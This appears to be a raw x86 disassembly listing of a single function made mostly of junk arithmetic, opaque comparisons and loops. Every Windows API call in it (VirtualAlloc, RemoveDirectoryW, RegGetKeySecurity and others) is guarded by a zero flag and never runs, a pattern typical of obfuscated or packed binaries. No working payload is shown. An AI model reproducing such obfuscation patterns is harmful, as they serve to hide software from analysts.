and dword [ebp - 0x1a50], 0
mov eax, dword [ebp - 0x2634]
cmp dword [ebp - 0x1a50], eax
je 0x4531e9
mov dword [ebp - 0xac0], 1
jmp 0x4531f0
and dword [ebp - 0xac0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xac0]
mov dword [ebp + eax - 0x23b8], ecx
cmp dword [ebp - 0xac0], 0
jne 0x453214
and dword [ebp - 0xd88], 0
jmp 0x45321e
mov dword [ebp - 0xd88], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xca4]
cmp eax, dword [ebp - 0xd88]
je 0x45323f
mov dword [ebp - 0x1a58], 1
jmp 0x453246
and dword [ebp - 0x1a58], 0
cmp dword [ebp - 0x1a58], 0x6559
jg 0x45325e
mov dword [ebp - 0xd90], 1
jmp 0x453265
and dword [ebp - 0xd90], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xca4]
add eax, dword [ebp - 0xd90]
mov dword [ebp - 0x260], eax
jmp 0x453069
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xca4], 3
jl 0x45329f
mov dword [ebp - 0xd98], 1
jmp 0x4532a6
and dword [ebp - 0xd98], 0
push 0xfffffffffffffff9
pop eax
test eax, eax
je 0x453300
mov dword [ebp - 0xa0], 1
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x260]
jne 0x4532dd
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x23b8], 0
jne 0x4532dd
and dword [ebp - 0x1a60], 0
jmp 0x4532e7
mov dword [ebp - 0x1a60], 1
mov eax, dword [ebp - 0x260]
add eax, dword [ebp - 0x1a60]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
mov eax, dword [ebp - 0xd98]
sub eax, dword [ebp - 0xda8]
je 0x45347e
mov dword [ebp - 0xdb8], 9
mov dword [ebp - 0xda0], 0x584e2bba
mov dword [ebp - 0x263c], 0xc0978c76
mov dword [ebp - 0x2644], 0xb20e9505
mov byte [ebp - 0x303], 0
movzx eax, byte [ebp - 0x303]
test eax, eax
je 0x453354
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xca4], 0xfffffffc
cmp dword [ebp - 0xdb8], 0xfffffffc
jg 0x453379
mov dword [ebp - 0x1a80], 1
jmp 0x453380
and dword [ebp - 0x1a80], 0
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x558]
cmp dword [ebp - 0xa0], eax
jg 0x4533a6
mov dword [ebp - 0x1a68], 1
jmp 0x4533ad
and dword [ebp - 0x1a68], 0
mov eax, dword [ebp - 0x1a68]
mov dword [ebp - 0xda0], eax
cmp dword [ebp - 0xda0], 0xbb218ad3
jbe 0x4533e1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x23b8], 0
je 0x4533e1
mov dword [ebp - 0x1a70], 1
jmp 0x4533e8
and dword [ebp - 0x1a70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x23b8]
cmp dword [ebp - 0x1a70], eax
jge 0x453409
mov dword [ebp - 0x1a78], 1
jmp 0x453410
and dword [ebp - 0x1a78], 0
mov eax, dword [ebp - 0xda8]
cmp dword [ebp - 0x1a78], eax
jle 0x453430
cmp dword [ebp - 0x140], 0
jne 0x453430
and dword [ebp - 0xdb0], 0
jmp 0x45343a
mov dword [ebp - 0xdb0], 1
mov eax, dword [ebp - 0xdb0]
shl eax, 2
mov dword [ebp - 0x263c], eax
mov eax, dword [ebp - 0x1a80]
sub eax, 9
cmp eax, dword [ebp - 0xdb8]
jne 0x453466
mov dword [ebp - 0x1a88], 1
jmp 0x45346d
and dword [ebp - 0x1a88], 0
mov eax, dword [ebp - 0x1a88]
mov dword [ebp - 0x2644], eax
jmp 0x453559
mov dword [ebp - 0xa0], 0
jmp 0x453497
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffea
jg 0x453559
mov dword [ebp - 0x260], 0x12
jmp 0x4534bd
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0xffffffe3
jle 0x453554
mov dword [ebp - 0x558], 0
jmp 0x4534e3
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0x11
jl 0x45352f
mov dword [ebp - 0x264c], 0xfffffffd
mov dword [ebp - 0x140], 0
jmp 0x45350f
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 3
jg 0x45352d
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp + eax*4 - 0x23b8]
mov dword [ebp - 0x264c], eax
jmp 0x453502
jmp 0x4534d6
mov byte [ebp - 0x305], 0
movzx eax, byte [ebp - 0x305]
test eax, eax
je 0x45354f
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
jmp 0x4534b0
jmp 0x45348a
mov dword [ebp - 0x2a8], 9
jmp 0x453572
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x11
je 0x454026
mov dword [ebp - 0xdd8], 0xdb8e9646
mov dword [ebp - 0x6b4], 0
jmp 0x4535a2
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 1
jge 0x4535be
mov eax, dword [ebp - 0x6b4]
mov dword [ebp + eax*4 - 0x628], 0x648261f
jmp 0x453595
mov byte [ebp - 0x307], 0
movzx eax, byte [ebp - 0x307]
test eax, eax
je 0x4535d8
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x628], 0
jmp 0x453606
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x628]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x628], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x628], 0x13
jge 0x4538c5
mov dword [ebp - 0x6bc], 0xe446df37
mov dword [ebp - 0x340], 0xfffffffa
mov dword [ebp - 0x9a0], 0
jmp 0x453647
mov eax, dword [ebp - 0x9a0]
inc eax
mov dword [ebp - 0x9a0], eax
cmp dword [ebp - 0x9a0], 3
jge 0x453663
mov eax, dword [ebp - 0x9a0]
mov dword [ebp + eax*4 - 0x281c], 0x9ed9
jmp 0x45363a
mov dword [ebp - 0x6bc], 0
jmp 0x45367c
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 6
je 0x4538ab
mov dword [ebp - 0x52c], 0x285faafe
mov dword [ebp - 0x52c], 0
jmp 0x4536ac
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 2
jg 0x4538a6
mov dword [ebp - 0x338], 0x4c59
mov dword [ebp - 0x338], 0x2df3d37a
cmp dword [ebp - 0x338], 0
je 0x453889
mov dword [ebp - 0x338], 0
jmp 0x4536f3
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jg 0x453887
mov dword [ebp - 0xa2c], 0xb972
mov eax, dword [ebp - 0xa2c]
dec eax
mov dword [ebp - 0xa2c], eax
mov dword [ebp - 0x340], 0
jmp 0x453730
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 2
jg 0x453882
mov byte [ebp - 0x309], 0
movzx eax, byte [ebp - 0x309]
test eax, eax
je 0x453766
push 0x1d7c
push 0x159
push 0x1d2
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x281c], 0
je 0x453781
mov dword [ebp - 0xdc0], 1
jmp 0x453788
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0xa2c]
cmp dword [ebp - 0xdc0], eax
jle 0x4537a2
mov dword [ebp - 0x1a90], 1
jmp 0x4537a9
and dword [ebp - 0x1a90], 0
mov eax, dword [ebp - 0x340]
mov eax, dword [ebp + eax*4 - 0x281c]
sub eax, dword [ebp - 0x1a90]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x281c]
je 0x4537d7
mov dword [ebp - 0xdc8], 1
jmp 0x4537de
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xa2c]
cmp dword [ebp - 0xdc8], eax
jge 0x4537f8
mov dword [ebp - 0x1a98], 1
jmp 0x4537ff
and dword [ebp - 0x1a98], 0
mov eax, dword [ebp - 0x340]
mov eax, dword [ebp + eax*4 - 0x281c]
imul eax, dword [ebp - 0x1a98]
test eax, eax
jne 0x453829
cmp dword [ebp - 0x338], 0
jne 0x453829
and dword [ebp - 0xdd0], 0
jmp 0x453833
mov dword [ebp - 0xdd0], 1
mov eax, dword [ebp - 0x52c]
cmp eax, dword [ebp - 0xdd0]
jg 0x453853
cmp dword [ebp - 0xdd8], 0
jne 0x453853
and dword [ebp - 0x1aa0], 0
jmp 0x45385d
mov dword [ebp - 0x1aa0], 1
mov eax, dword [ebp - 0x340]
mov eax, dword [ebp + eax*4 - 0x281c]
imul eax, dword [ebp - 0x52c]
sub eax, dword [ebp - 0x1aa0]
mov dword [ebp - 0xdd8], eax
jmp 0x453723
jmp 0x4536e6
jmp 0x4538a1
mov byte [ebp - 0x30b], 0
movzx eax, byte [ebp - 0x30b]
test eax, eax
je 0x4538a1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x45369f
jmp 0x45366f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x628], 0
je 0x4538c0
jmp 0x4535eb
jmp 0x4535eb
mov dword [ebp - 0x6cc], 0x25ec560
mov dword [ebp - 0x2694], 6
mov dword [ebp - 0x2230], 0xffffffff
mov dword [ebp - 0x222c], 0xffffffff
mov dword [ebp - 0x2228], 0xffffffff
mov dword [ebp - 0x2224], 0xffffffff
mov dword [ebp - 0x1ad0], 7
mov dword [ebp - 0x266c], 0xfff7
mov dword [ebp - 0x16c], 0
jmp 0x45392e
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x45394a
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x348], 1
jmp 0x453921
mov dword [ebp - 0x16c], 0
jmp 0x453963
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x45397f
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x2a10], 0x40cabdbf
jmp 0x453956
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x348], 3
jmp 0x4539ad
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x348]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x348], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x348], 0
jl 0x453df5
mov dword [ebp - 0x50], 0xfffffff6
mov dword [ebp - 0x50], 0
jmp 0x4539d8
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jg 0x453df0
mov eax, dword [ebp - 0x50]
cmp dword [ebp + eax*4 - 0x2230], 0
je 0x453aae
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x2230]
mov ecx, dword [ebp - 0x50]
sub eax, dword [ebp + ecx*4 - 0x2230]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2230]
sub ecx, dword [ebp - 0x50]
cmp eax, ecx
jle 0x453a27
mov dword [ebp - 0x1aa8], 1
jmp 0x453a2e
and dword [ebp - 0x1aa8], 0
cmp dword [ebp - 0x1aa8], 0xffffffff
jg 0x453a43
mov dword [ebp - 0xde0], 1
jmp 0x453a4a
and dword [ebp - 0xde0], 0
cmp dword [ebp - 0xde0], 0xffffffff
jae 0x453a5f
mov dword [ebp - 0x1ab0], 1
jmp 0x453a66
and dword [ebp - 0x1ab0], 0
cmp dword [ebp - 0x1ab0], 0xffffffff
jae 0x453a7b
mov dword [ebp - 0x2654], 1
jmp 0x453a82
and dword [ebp - 0x2654], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x2230]
mov dword [ebp - 0x2c3c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x348], 0
je 0x453aae
mov dword [ebp - 0x265c], 1
jmp 0x453ab5
and dword [ebp - 0x265c], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x348], 0
je 0x453dae
mov dword [ebp - 0x268], 0xdd2eb2fc
mov dword [ebp - 0x268], 3
jmp 0x453aec
mov eax, dword [ebp - 0x268]
dec eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0
jl 0x453dac
mov dword [ebp - 0x2e0], 0x55073046
mov dword [ebp - 0x6c4], 0
jmp 0x453b1c
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 4
jge 0x453b38
mov eax, dword [ebp - 0x6c4]
mov dword [ebp + eax*4 - 0x341c], 8
jmp 0x453b0f
mov dword [ebp - 0x2e0], 0
jmp 0x453b51
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 3
jg 0x453da7
mov dword [ebp - 0x350], 0xe85ec415
mov dword [ebp - 0x267c], 0x5aad5032
mov dword [ebp - 0x9a8], 0
jmp 0x453b8b
mov eax, dword [ebp - 0x9a8]
inc eax
mov dword [ebp - 0x9a8], eax
cmp dword [ebp - 0x9a8], 2
jge 0x453ba7
mov eax, dword [ebp - 0x9a8]
mov dword [ebp + eax*4 - 0x2d60], 9
jmp 0x453b7e
mov dword [ebp - 0x350], 0
jmp 0x453bc0
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 3
jg 0x453bec
mov dword [ebp - 0x2664], 0x66e5dc64
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x1ad0], eax
cmp dword [ebp - 0x2664], 0
je 0x453bea
jmp 0x453bec
jmp 0x453bb3
cmp dword [ebp - 0x266c], 0
je 0x453c12
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2d60]
neg eax
je 0x453c12
mov dword [ebp - 0xdf8], 1
jmp 0x453c19
and dword [ebp - 0xdf8], 0
cmp dword [ebp - 0x2e0], 0
jne 0x453c2e
mov dword [ebp - 0xde8], 1
jmp 0x453c35
and dword [ebp - 0xde8], 0
cmp dword [ebp - 0x350], 0xb91e
jne 0x453c48
cmp dword [ebp - 0x2e0], 0
mov eax, dword [ebp - 0x268]
add eax, dword [ebp - 0xde8]
je 0x453c6b
cmp dword [ebp - 0x2e0], 0
je 0x453c6b
mov dword [ebp - 0x2674], 1
jmp 0x453c72
and dword [ebp - 0x2674], 0
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x2c44], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp + eax*4 - 0x2230], 0
jne 0x453c94
cmp dword [ebp - 0x268], 0
je 0x453ca9
cmp dword [ebp - 0x268], 0
je 0x453ca9
mov dword [ebp - 0x1ab8], 1
jmp 0x453cb0
and dword [ebp - 0x1ab8], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x2230]
add eax, dword [ebp - 0x1ab8]
add eax, dword [ebp - 0x50]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x348]
jl 0x453cde
mov dword [ebp - 0xdf0], 1
jmp 0x453ce5
and dword [ebp - 0xdf0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a10]
imul eax, dword [ebp - 0xdf0]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x2a10]
cmp eax, 0xfb48103b
jne 0x453d1a
mov dword [ebp - 0x1ac0], 1
jmp 0x453d21
and dword [ebp - 0x1ac0], 0
mov eax, dword [ebp - 0x267c]
cmp dword [ebp - 0x1ac0], eax
jge 0x453d3b
mov dword [ebp - 0x2684], 1
jmp 0x453d42
and dword [ebp - 0x2684], 0
push 4
pop eax
cmp eax, 0xed764e38
jne 0x453d58
mov dword [ebp - 0x1ac8], 1
jmp 0x453d5f
and dword [ebp - 0x1ac8], 0
mov eax, dword [ebp - 0xdf8]
sub eax, dword [ebp - 0x1ac8]
cmp eax, dword [ebp - 0x268]
je 0x453d88
cmp dword [ebp - 0x350], 0
je 0x453d88
mov dword [ebp - 0xe00], 1
jmp 0x453d8f
and dword [ebp - 0xe00], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe00]
mov dword [ebp + eax - 0x341c], ecx
jmp 0x453b44
jmp 0x453adf
jmp 0x453de0
mov byte [ebp - 0x30d], 0
movzx eax, byte [ebp - 0x30d]
test eax, eax
je 0x453dd6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0x1ad0], 0x9b1cc8ff
cmp dword [ebp - 0x50], 0
je 0x453deb
jmp 0x4539d1
jmp 0x4539d1
jmp 0x453992
mov dword [ebp - 0xe08], 0
cmp dword [ebp - 0xe08], 0
je 0x453e1d
mov eax, 0xf585
test eax, eax
je 0x453e1d
mov dword [ebp - 0x1ad8], 1
jmp 0x453e24
and dword [ebp - 0x1ad8], 0
mov eax, dword [ebp - 0x1ad8]
sub eax, dword [ebp - 0x6cc]
cmp eax, dword [ebp - 0x358]
je 0x453e44
mov dword [ebp - 0xe10], 1
jmp 0x453e4b
and dword [ebp - 0xe10], 0
cmp dword [ebp - 0xe10], 0
jb 0x453e69
cmp dword [ebp - 0x6cc], 0
je 0x453e69
mov dword [ebp - 0x1ae0], 1
jmp 0x453e70
and dword [ebp - 0x1ae0], 0
mov eax, dword [ebp - 0x358]
cmp dword [ebp - 0x1ae0], eax
jg 0x453e8a
mov dword [ebp - 0xe18], 1
jmp 0x453e91
and dword [ebp - 0xe18], 0
cmp dword [ebp - 0xe18], 5
je 0x453ea6
mov dword [ebp - 0x1ae8], 1
jmp 0x453ead
and dword [ebp - 0x1ae8], 0
mov eax, dword [ebp - 0x6cc]
add eax, dword [ebp - 0x1ae8]
cmp eax, dword [ebp - 0x2a8]
jle 0x453ecf
or eax, 0xffffffff
jne 0x453ecf
and dword [ebp - 0xe20], 0
jmp 0x453ed9
mov dword [ebp - 0xe20], 1
mov eax, dword [ebp - 0xe20]
sub eax, 0xa
je 0x453ef9
cmp dword [ebp - 0x2a8], 0
je 0x453ef9
mov dword [ebp - 0x1af0], 1
jmp 0x453f00
and dword [ebp - 0x1af0], 0
mov eax, dword [ebp - 0x1af0]
sub eax, dword [ebp - 0x358]
jne 0x453f20
mov eax, 0x54c3ebe1
test eax, eax
jne 0x453f20
and dword [ebp - 0xe28], 0
jmp 0x453f2a
mov dword [ebp - 0xe28], 1
cmp dword [ebp - 0xe28], 0
je 0x453f3f
mov dword [ebp - 0x1af8], 1
jmp 0x453f46
and dword [ebp - 0x1af8], 0
cmp dword [ebp - 0x1af8], 0xfffffffb
jge 0x453f5b
mov dword [ebp - 0xe30], 1
jmp 0x453f62
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0xe30], eax
jg 0x453f7c
mov dword [ebp - 0x1b00], 1
jmp 0x453f83
and dword [ebp - 0x1b00], 0
cmp dword [ebp - 0x1b00], 0xffffffff
jge 0x453f98
mov dword [ebp - 0xc60], 1
jmp 0x453f9f
and dword [ebp - 0xc60], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc60]
mov dword [ebp + eax - 0x268c], ecx
cmp dword [ebp - 0xc60], 0
jne 0x453fcd
cmp dword [ebp - 0x6cc], 0
jne 0x453fcd
and dword [ebp - 0xe38], 0
jmp 0x453fd7
mov dword [ebp - 0xe38], 1
imul eax, dword [ebp - 0xe38], 7
cmp dword [ebp - 0x2a8], eax
jg 0x453ff2
mov dword [ebp - 0x1b08], 1
jmp 0x453ff9
and dword [ebp - 0x1b08], 0
cmp dword [ebp - 0x1b08], 1
je 0x45400e
mov dword [ebp - 0xe40], 1
jmp 0x454015
and dword [ebp - 0xe40], 0
mov eax, dword [ebp - 0xe40]
mov dword [ebp - 0x2694], eax
jmp 0x453565
jmp 0x4522de
mov dword [ebp - 0x270], 0x2124f84b
mov dword [ebp - 0x560], 0xffffffff
mov dword [ebp - 0xaac], 0
jmp 0x454058
mov eax, dword [ebp - 0xaac]
inc eax
mov dword [ebp - 0xaac], eax
cmp dword [ebp - 0xaac], 2
jge 0x454074
mov eax, dword [ebp - 0xaac]
mov dword [ebp + eax*4 - 0x22c4], 0xa2a3b3f3
jmp 0x45404b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x22c4], 0x997
mov eax, 0x2374
imul eax, eax, 0x997
test eax, eax
jne 0x454113
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22c4], 0xfffffffe
jg 0x4540b0
mov dword [ebp - 0x1b10], 1
jmp 0x4540b7
and dword [ebp - 0x1b10], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22c4]
cmp eax, dword [ebp - 0x1b10]
jne 0x4540d8
mov dword [ebp - 0xe48], 1
jmp 0x4540df
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0xe48]
sub eax, dword [ebp - 0x270]
sub eax, dword [ebp - 0x270]
jne 0x454103
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22c4], 0
je 0x45410a
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x454113
and dword [ebp - 0x1b18], 0
jmp 0x45411d
mov dword [ebp - 0x1b18], 1
mov eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x1b18]
jg 0x454137
mov dword [ebp - 0xe50], 1
jmp 0x45413e
and dword [ebp - 0xe50], 0
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0xe50], eax
jl 0x454158
mov dword [ebp - 0x1b20], 1
jmp 0x45415f
and dword [ebp - 0x1b20], 0
mov eax, dword [ebp - 0x1b20]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x560], 1
jmp 0x454184
mov eax, dword [ebp - 0x560]
dec eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0
jl 0x4541ef
mov dword [ebp - 0x270], 1
jmp 0x4541a6
mov eax, dword [ebp - 0x270]
dec eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0
jl 0x4541d1
mov byte [ebp - 0x30f], 0
movzx eax, byte [ebp - 0x30f]
test eax, eax
je 0x4541cf
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x454199
mov byte [ebp - 0x311], 0
movzx eax, byte [ebp - 0x311]
test eax, eax
je 0x4541ed
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x454177
mov byte [ebp - 0x313], 0
mov dword [ebp - 0x5e8], 0xccb63e8e
mov dword [ebp - 0x2c8], 0xffff
mov dword [ebp - 0x6dc], 0x24891023
mov dword [ebp - 0x360], 0xa9b8fa48
mov dword [ebp - 0x1ba8], 0xfdda7840
mov dword [ebp - 0x6d4], 0
jmp 0x454241
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 2
jge 0x45425d
mov eax, dword [ebp - 0x6d4]
mov dword [ebp + eax*4 - 0xc68], 0xde0bcd8c
jmp 0x454234
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x2c8], 0
je 0x454288
cmp dword [ebp - 0x2c8], 0
je 0x454288
mov dword [ebp - 0x1b28], 1
jmp 0x45428f
and dword [ebp - 0x1b28], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc68], 0
je 0x454352
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc68], 0xffffffff
je 0x4542bf
mov dword [ebp - 0xac8], 1
jmp 0x4542c6
and dword [ebp - 0xac8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xac8]
mov dword [ebp + eax - 0xc68], ecx
imul eax, dword [ebp - 0xac8], 0xfff6
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6dc]
cmp dword [ebp - 0x2c8], eax
je 0x4542fe
cmp dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x2c4c], eax
mov dword [ebp - 0x360], 2
cmp dword [ebp - 0x360], 0
je 0x454332
cmp dword [ebp - 0x2c8], 0
je 0x454332
mov dword [ebp - 0xe58], 1
jmp 0x454339
and dword [ebp - 0xe58], 0
mov eax, dword [ebp - 0xe58]
sub eax, 0x28c7fffa
je 0x454352
mov dword [ebp - 0xe60], 1
jmp 0x454359
and dword [ebp - 0xe60], 0
mov eax, dword [ebp - 0x1b28]
cmp eax, dword [ebp - 0xe60]
jg 0x454373
mov dword [ebp - 0x1b30], 1
jmp 0x45437a
and dword [ebp - 0x1b30], 0
mov eax, dword [ebp - 0x1b30]
neg eax
je 0x454673
mov dword [ebp - 0x4a4], 0x4b58
mov dword [ebp - 0xad0], 1
mov dword [ebp - 0xe78], 0x82ade89b
mov dword [ebp - 0xc24], 0xfffffffc
mov dword [ebp - 0xe90], 1
mov dword [ebp - 0x9b0], 0
jmp 0x4543d3
mov eax, dword [ebp - 0x9b0]
inc eax
mov dword [ebp - 0x9b0], eax
cmp dword [ebp - 0x9b0], 2
jge 0x4543ef
mov eax, dword [ebp - 0x9b0]
mov dword [ebp + eax*4 - 0x2a98], 1
jmp 0x4543c6
cmp dword [ebp - 0x4a4], 0
jne 0x45457e
cmp dword [ebp - 0x4a4], 0
je 0x454557
cmp dword [ebp - 0x4a4], 0
je 0x45442e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc68], 0
je 0x45442e
mov dword [ebp - 0xe68], 1
jmp 0x454435
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0xe68]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6dc]
imul eax, dword [ebp - 0x360]
cmp eax, 0xbb64
je 0x454461
mov dword [ebp - 0x1b38], 1
jmp 0x454468
and dword [ebp - 0x1b38], 0
mov eax, dword [ebp - 0x4a4]
cmp eax, dword [ebp - 0x1b38]
je 0x454482
mov dword [ebp - 0xe70], 1
jmp 0x454489
and dword [ebp - 0xe70], 0
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0xe70], eax
jle 0x4544a3
mov dword [ebp - 0xbb0], 1
jmp 0x4544aa
and dword [ebp - 0xbb0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xbb0]
mov dword [ebp + eax - 0xc68], ecx
mov eax, dword [ebp - 0xad0]
cmp dword [ebp - 0xbb0], eax
jg 0x4544d7
mov dword [ebp - 0x1b40], 1
jmp 0x4544de
and dword [ebp - 0x1b40], 0
mov eax, dword [ebp - 0x1b40]
mov dword [ebp - 0xe78], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe78]
mov dword [ebp + eax - 0x2a98], ecx
mov eax, dword [ebp - 0xad0]
cmp dword [ebp - 0xc24], eax
jg 0x454517
mov dword [ebp - 0x1b78], 1
jmp 0x45451e
and dword [ebp - 0x1b78], 0
cmp dword [ebp - 0x1b78], 0xffffffff
je 0x454533
mov dword [ebp - 0xe80], 1
jmp 0x45453a
and dword [ebp - 0xe80], 0
imul eax, dword [ebp - 0xe80], 0xde19
cmp eax, 0x2c3cc8c9
jl 0x454557
mov dword [ebp - 0x1b80], 1
jmp 0x45455e
and dword [ebp - 0x1b80], 0
mov eax, dword [ebp - 0x4a4]
add eax, dword [ebp - 0x1b80]
imul eax, dword [ebp - 0xad0]
test eax, eax
jne 0x45457e
and dword [ebp - 0xe88], 0
jmp 0x454588
mov dword [ebp - 0xe88], 1
mov eax, dword [ebp - 0xe88]
sub eax, dword [ebp - 0xc24]
jne 0x4545af
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc68], 0
jne 0x4545af
and dword [ebp - 0x1b88], 0
jmp 0x4545b9
mov dword [ebp - 0x1b88], 1
mov eax, dword [ebp - 0x1b88]
mov dword [ebp - 0xe90], eax
cmp dword [ebp - 0xe90], 0
je 0x4545ea
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc68], 0
je 0x4545ea
mov dword [ebp - 0x1b90], 1
jmp 0x4545f1
and dword [ebp - 0x1b90], 0
mov eax, dword [ebp - 0x1b90]
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x2c54], eax
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x2c5c], eax
cmp dword [ebp - 0x5e8], 0
jne 0x454637
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a98], 0
jne 0x454637
and dword [ebp - 0xe98], 0
jmp 0x454641
mov dword [ebp - 0xe98], 1
mov eax, dword [ebp - 0xc24]
